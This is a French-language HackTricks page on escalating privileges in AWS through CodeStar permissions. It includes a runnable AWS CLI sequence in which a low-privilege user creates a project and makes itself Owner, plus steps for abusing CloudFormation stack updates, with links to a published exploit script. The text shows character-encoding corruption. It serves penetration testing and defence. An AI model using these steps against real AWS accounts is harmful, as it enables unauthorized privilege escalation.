AWS - Codestar Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Codestar

Vous pouvez trouver plus d’informations sur codestar dans :

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Avec ces permissions, vous pouvez abuser d’un rîle IAM codestar pour effectuer des actions arbitraires via un modùle cloudformation. Consultez la page suivante :

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Cette technique utilise codestar:CreateProject pour crĂ©er un projet codestar, et codestar:AssociateTeamMember pour faire d’un utilisateur IAM le propriĂ©taire d’un nouveau projet CodeStar, ce qui leur accordera une nouvelle politique avec quelques permissions supplĂ©mentaires.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si vous ĂȘtes dĂ©jĂ  un membre du projet, vous pouvez utiliser la permission codestar:UpdateTeamMember pour mettre Ă  jour votre rĂŽle en tant que propriĂ©taire au lieu de codestar:AssociateTeamMember.

Impact potentiel : Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Créer un nouveau projet :
  • Utilisez l’action codestar:CreateProjectFromTemplate pour initier la crĂ©ation d’un nouveau projet.
  • AprĂšs une crĂ©ation rĂ©ussie, l’accĂšs est automatiquement accordĂ© pour cloudformation:UpdateStack.
  • Cet accĂšs cible spĂ©cifiquement une pile associĂ©e au rĂŽle IAM CodeStarWorker-<nom de projet gĂ©nĂ©rique>-CloudFormation.
  1. Mettre Ă  jour la pile cible :
  • Avec les permissions CloudFormation accordĂ©es, procĂ©dez Ă  la mise Ă  jour de la pile spĂ©cifiĂ©e.
  • Le nom de la pile conformera gĂ©nĂ©ralement Ă  l’un des deux modĂšles :
  • awscodestar-<nom de projet gĂ©nĂ©rique>-infrastructure
  • awscodestar-<nom de projet gĂ©nĂ©rique>-lambda
  • Le nom exact dĂ©pend du modĂšle choisi (se rĂ©fĂ©rant au script d’exploitation exemple).
  1. AccĂšs et permissions :
  • AprĂšs la mise Ă  jour, vous obtenez les capacitĂ©s assignĂ©es au rĂŽle IAM CloudFormation liĂ© Ă  la pile.
  • Remarque : Cela ne fournit pas intrinsĂšquement des privilĂšges d’administrateur complets. Des ressources mal configurĂ©es supplĂ©mentaires dans l’environnement pourraient ĂȘtre nĂ©cessaires pour Ă©lever davantage les privilĂšges.

Pour plus d’informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Vous pouvez trouver l’exploitation dans https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impact potentiel : Privesc au rĂŽle IAM cloudformation.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks